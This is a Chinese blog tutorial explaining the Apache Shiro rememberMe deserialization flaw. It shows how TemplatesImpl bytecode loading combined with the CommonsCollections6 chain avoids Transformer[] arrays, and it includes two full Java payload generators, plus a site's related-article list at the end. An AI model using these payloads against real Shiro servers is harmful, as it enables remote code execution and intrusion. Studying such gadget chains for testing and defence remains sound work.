TemplatesImpl结合cc6在Shiro中的利用

这个文章也是参考p牛的文章;但其中许多细节,就比如为什么普通的Transformer[]数组链不能再shiro中使用;

但其中大致原理还是说一下

先说下shiro反序列化的原理

简单来说就是

shiro 会将用户的登录信息进行序列化保存在Cookie的rememberMe字段中,在服务端读取用户信息时会对这个这段进行一次反序列化;导致客户端可控rememberMe字段的情况下导致的反序列化漏洞;但shiro做了一些校验,先效验aes的key(对其进行一次解密操作),然后再进行反序列化;但shiro550中存在默认的key,导致攻击者知道了这个key后,进行一次aes加密,就可以进行反序列化漏洞的利用;

在这篇文章中主要写的是TemplatesImpl结合cc6在Shiro中的利用;也就是说主题是TemplatesImpl结合cc6;

先来看背景;正常的cc6是无法打shiro的tomcat会报错

原因是:在shiro.io包中重写了resolveClass方法;从ClassUtils.forName(osc.getName())可以看出来这个方法在java中是用来寻找类名的;

而在其父类中使用的是原生的Class.forName

这里直接给出结论:在shiro中使用它自身的反序列化机制;(ClassResolvingObjectInputStream) 无法正确处理包含非Java核心库数组类(如 Transformer[])的序列化流

也就是说shiro中的ClassUtils.forName方法无法"处理"对非java自身的数组的序列化流;

因此这里这里需要构造不含数组的反序列化gadget;

在cc链的调用链中我们知道;它的注入过程是依赖数组形式调用链的;

在之前的动态加载字节码中我们可以绕过InvokerTransformer和Runtime.class;等但依旧依赖Transformer[]数组;

但在LazyMap的get方法中,我们看到它的transform(key);这里传入一个key参数

正常cc链来说,这个key参数无关紧要;因为new ConstantTransformer(Runtime.class)已经可以初始化类对象了;但现在是无法使用Transform数组的;

我们先来看ConstantTransformer这个方法干了什么

可以看到他的作用就是"传进去一个类,在构造transform链子时,返回这个类";而new ConstantTransformer(Runtime.class)正好可以初始化;在比对一下发现 azyMap的get方法中和这个 ConstantTransformer的功能是一样的;传进去一个类,在ChainedTransformer调用时调用transform(Object input) 这里的input 相当于key ;也就是说,如果我们控制这个key为我们传进去的恶意类不也可以初始化了吗;

但是这里不可以使用数组该怎么传进去恶意的指令呢;这里就要回到之前使用过的动态加载字节码(TemplateImp)来绕过了;

如何传入key呢;在整条链子中我们可以知道;TiedMapEntry类的构造函数中可以传入key,并且调用getvalue时,这个key作为get函数的参数,因此我们只需要在TiedMapEntry对象传入恶意字节码类即可

在之前的上一篇文章,cc6结合动态字节码来绕过限制,具体代码如下;但这里的new ConstantTransformer(obj)是不必要的,因为我们可以直接通过key传入我们的恶意字节码类

Transformer[]transformers new Transformer[]
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer",nul1,nul1)
};

以下是完整的payload

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map; public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); Transformer transformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry tme = new TiedMapEntry(outerMap, obj); Map expMap = new HashMap();
expMap.put(tme, "valuevalue"); outerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer"); // ==================
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close(); return barr.toByteArray();
}
}

但p牛这里直接用的InvokerTransformer,我们拓展一下,绕过InvokerTransformer,在上一篇文章中我们使用InstantiateTransformer来绕过,如下代码,这次如法炮制依然使用InstantiateTransformer绕过;

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},
new Object[] {templates}
)
};

完整代码如下,这段代码中

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map; public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
} public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); // 初始化一个无害的 InstantiateTransformer,使用String.class和空字符串
Transformer transformer = new InstantiateTransformer(
new Class[]{String.class},
new Object[]{""}
); Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer); // 使用一个临时的无害Class对象(String.class)作为key
TiedMapEntry tme = new TiedMapEntry(outerMap, String.class); Map expMap = new HashMap();
expMap.put(tme, "valuevalue"); // 这里会触发一次transform,但无害 // 清除LazyMap中因put操作产生的缓存(清除掉刚刚生成的String实例)
outerMap.clear(); // 修改TiedMapEntry的key为TrAXFilter.class
setFieldValue(tme, "key", TrAXFilter.class); // 修改transformer为恶意参数
setFieldValue(transformer, "iParamTypes", new Class[]{Templates.class});
setFieldValue(transformer, "iArgs", new Object[]{obj});
// setFieldValue(transformer, "iConstructor", null); // 清除缓存 // 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close(); return barr.toByteArray();
}
}

总结:这篇文章通过shiro的反序列化介绍了,如何通过动态加载字节码(TemplatesImpl)的方式绕过Transform[]数组不可以使用的限制;也就是利用LazyMap的transform方法接受一个key参数;而TiedMapEntry类恰好可以传入一个key;且getvalue调用get方法时会把这个key作为参数;导致了我们可以不使用ConstantTransformer作为构造器就可以实例化恶意类的对象,从而动态加载我们的恶意字节码;最后顺带拓展了一下

使用InstantiateTransformer拓展InvokerTransformer被过滤问题的绕过;

-----------------------------备注----------------------------

参考:

https://github.com/phith0n/JavaThings?tab=readme-ov-file

与其知识星球->代码审计->java系列文章

TemplatesImpl结合cc6在Shiro中的利用的更多相关文章

  1. shiro中部分SpringCache失效问题

    原文:https://www.cnblogs.com/liruiloveparents/p/9392159.html shiro中部分SpringCache失效问题   1.问题抛出 今天在做Spri ...

  2. Git中如何利用生成SSH个人公钥访问git仓库

    Git中如何利用生成SSH个人公钥访问git仓库方法(这里以coding平台为例): 1. 获取 SSH 协议地址 在项目的代码页面点击 SSH 切换到 SSH 协议, 获得访问地址, 请使用这个地址 ...

  3. C/S模式开发中如何利用WebBrowser控件制作导航窗体

    原文:C/S模式开发中如何利用WebBrowser控件制作导航窗体 转自: CSDN 相信不少同学们都做过MIS系统的开发,今天这里不讨论B/S模式开发的问题.来谈谈winform开发.用过市面上常见 ...

  4. 从零到实现Shiro中Authorization和Authentication的缓存

    本文大纲 一.简介 二.缓存的概念 三.自定义实现缓存机制 四.什么是Ehcache 五.Ehcache怎么用 六.Spring对缓存的支持 七.Spring+Ehcache实现 八.Spring+S ...

  5. shiro中 UnknownAccountException

    一 shiro的session.request和response与服务端容器自身的这三个对象的关系 在web.xml中配置了一个Filter,拦截/*,所有的uri.在拦截器中还会调用ShiroFil ...

  6. shiro中CacheManager相关的类结构介绍,提供redis Cache实现

    cacheManager主要用于对shiro中的session.realm中的认证信息.授权信息进行缓存. 1.类结构 2.接口及类介绍 CacheManager 提供根据名字获取cache的作用. ...

  7. Shiro中的授权问题(二)

    上篇博客(Shiro中的授权问题 )我们介绍了Shiro中最最基本的授权问题,以及常见的权限字符的匹配问题.但是这里边还有许多细节需要我们继续介绍,本节我们就来看看Shiro中授权的一些细节问题. 验 ...

  8. Shiro中的授权问题

    在初识Shiro一文中,我们对Shiro的基本使用已经做了简单的介绍,不懂的小伙伴们可以先阅读上文,今天我们就来看看Shiro中的授权问题. Shiro中的授权,大体上可以分为两大类,一类是隐式角色, ...

  9. Shiro中的Rememberme后出现浏览器500错误

    问题详述:在Shiro中添加Remember me功能后,只要勾选Remember me选项为true的时候,浏览器就会跳转到一个不可达页面,并且在Chrome中显示HTTP 500错误. 问题追踪: ...

  10. CVE-2019-0797漏洞:Windows操作系统中的新零日在攻击中被利用

    https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/ 前言 在2019年2月,卡巴实验室的自动漏洞防护(AEP)系统检测 ...

随机推荐

  1. 记vue修改数组属性,dom不发生变化的问题

    目录: 目录 目录: 开篇 正确的姿势 为什么 $set 开篇 今天在写vue的时候,出现了一个以前可能没遇到的问题.我利用一个数组记录列表下按钮的启用.禁用状态,但我点击某个列表项按钮后,会修改当前 ...

  2. CentOs7 lnmp 安装记录

    CentOs7 lnmp 安装记录 安装php 选择安装目录 # eg:/usr/src cd /usr/src 安装必要的源 yum -y install pcre pcre-devel zlib ...

  3. k8s 报错: node(s) didn't match Pod's node affinity.

    前言 k8s集群中,有pod出现了 Affinity ,使用 kubectl describe pod 命令,发现了报错 2 node(s) didn't match Pod's node affin ...

  4. mac php.ini在哪

    解答 mac 默认没有 php.ini 文件,但是有对应的模版文件 php.ini.default,位于/etc/php.ini.default,可以拷贝一份进行修改. cd /etc sudo cp ...

  5. docker报错 ERROR: Service 'workspace' failed to build: ERROR: Service 'php-fpm' failed to build:

    在 Windows 系统中使用 Laradock 搭建基于 Docker 的 PHP 开发环境 执行命令 docker-compose up nginx mysql redis 执行过程中出现错误 报 ...

  6. nginx同时使用(http)80和(https)443端口详解

    server { listen 443 ssl; #监听https 443时需加ssl server_name ; #你的域名 ssl on; ssl_certificate ; #证书路径 ssl_ ...

  7. [每日算法 - 华为机试] LeetCode1160. 拼写单词

    题目入口 力扣https://leetcode.cn/problems/find-words-that-can-be-formed-by-characters/ 题目概述 给你一份『词汇表』(字符串数 ...

  8. StringBuilder的介绍、构造方法及成员方法

    1.StringBuilder的介绍 1.StringBuilder是字符串缓冲区,可以认为是一种容器,能装任何类型的数据,但被装入的数据都会变为字符串 如图 无论是什么类型的数据,被装入字符串缓冲区 ...

  9. JBoltAI 与 AIGS 的深度融合:重构企业数智化未来

    在企业数智化转型浪潮中,JBoltAI 凭借其独特的 AIGS(AI Generate Service)解决方案,正成为连接大模型能力与企业实际需求的桥梁.其核心价值在于通过技术框架的重构,将 AI ...

  10. Linux下more命令高级用法

    我们在 Linux 环境下工作时,每天肯定会跟各种各样的文本文件打交道.这些文件,有时候会非常长,无法在一屏的空间内显示完全.所以,在查看这种文件时,我们需要分页显示.这时,我们就可以使用 more ...